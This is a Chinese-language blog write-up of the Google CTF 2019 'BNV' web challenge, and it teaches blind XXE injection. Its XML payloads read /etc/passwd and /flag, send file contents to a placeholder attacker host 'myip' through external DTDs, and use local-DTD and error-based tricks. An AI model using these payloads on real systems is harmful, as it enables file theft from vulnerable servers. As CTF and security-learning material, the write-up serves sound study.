Google_CTF2019-bnv

在这里插入图片描述

Web: BNV— 155 point:

这是一个beginner quest,也进一步学习了一下XXE。首先给定一个网站https://bnv.web.ctfcompetition.com/。打开它,是一个盲人网,可以根据他们的城市找到最近的盲人协会。。还有一个提交按钮,可用于搜索最近的盲人协会。
在这里插入图片描述首先使用BurpSiute检查搜索功能的请求和响应:
在这里插入图片描述这个请求将发送带有键“ message”和数值的JSON。研究这个数字是多少!在阅读有关PharmaBraille上的盲文代码的文章后,我了解到message值代表了我们在盲文点上所选择的城市的代表。
在这里插入图片描述这里就不得不说一下XML的参数实体,XML的DTD可以定义普通实体和参数实体两种实体类型,而这两种类型也可以再分别为内部实体和外部实体。XXE,全称就为XML外部实体注入漏洞。通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地文件内容就导致了XXE漏洞。声明内部实体和外部实体区别如下:

<!ENTITY 实体名 SYSTEM url > //外部实体
<!ENTITY 实体名 实体的值 > //内部实体

Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 %为标志定义,定义和使用方法如下

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY normal "hello">  <!-- 内部普通实体 -->
    <!ENTITY normal SYSTEM "http://xml.org/hhh.dtd">  <!-- 外部普通实体 -->
    <!ENTITY % para SYSTEM "file:///1234.dtd">  <!-- 外部参数实体 -->
    %para;            <!-- 引用参数实体 -->
]>
<message>&normal;</message>

而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY % outside '<!ENTITY &#x25; files SYSTEM "file:///etc/passwd">'>
]>
<message>&normal;</message>

引入服务器DTD文件

既然外部实体可以通过请求内部文件uri获得内部文件内容,那么这样的话我们可以写两个外部参数实体,第一个用file协议请求本地文件并将内容保存在参数实体中,第二个用http或者ftp协议请求自己的服务器并带上文件内容。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % files SYSTEM "file:///etc/passwd">  
    <!ENTITY % send SYSTEM "http://myip/?a=%files;"> 
    %send;
]>

这样可以吗,在这本书《XML Schema, DTD, and Entity Attacks》第10页中明确表示了不行,几乎所有XML解析器都不会解析同级参数实体的内容。
但是在上面我们也展示了参数实体也可以嵌套定义,当两个参数实体不是同一级时。我们尝试调用一下。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>

如上,我们先调用start参数实体,生成了send参数实体声明。在send参数实体声明中,调用了files参数实体并请求了相关链接。
实际上有一个禁止在内部Entity中引用参数实体的限制,所以前人就想到,既然内部不行就引用外部的DTD试试。现在在自己的服务器中加入下列DTD文件。
xml.dtd:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">
%start;

然后请求的数据为下面(用php协议将发送的数据编码为base64)

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://myip/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

引用本地DTD文件
有时候目标主机的防火墙十分严格,不允许我们请求外网服务器dtd。但由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。这次googleCTF的这道题目就找到一个/usr/share/yelp/dtd/docbookx.dtd,它定义了很多参数实体并调用了它。那么其实,我们可以在内部重写一个该dtd文件中含有的参数实体,而此时调用是在外部,这样仍然可以实现:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

其中,这里已经是三层参数实体嵌套了,第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。
我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send。在这里不直接使用两层嵌套的原因是,如果直接用两层仍然会报PEReferences forbidden in internal subset in Entity 错误。

基于报错的Blind XXE
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
到这里可以直接给出GoogleCTF bnv的WP了,Payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %remote;
]>
<message>135601360123502401401250</message>

在这里插入图片描述
其实这里不引用外部DTD文件,直接通过嵌套参数实体,这道题同样可以做出来。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>135601360123502401401250</message>

这是因为W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。尤其对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的。

参考:https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值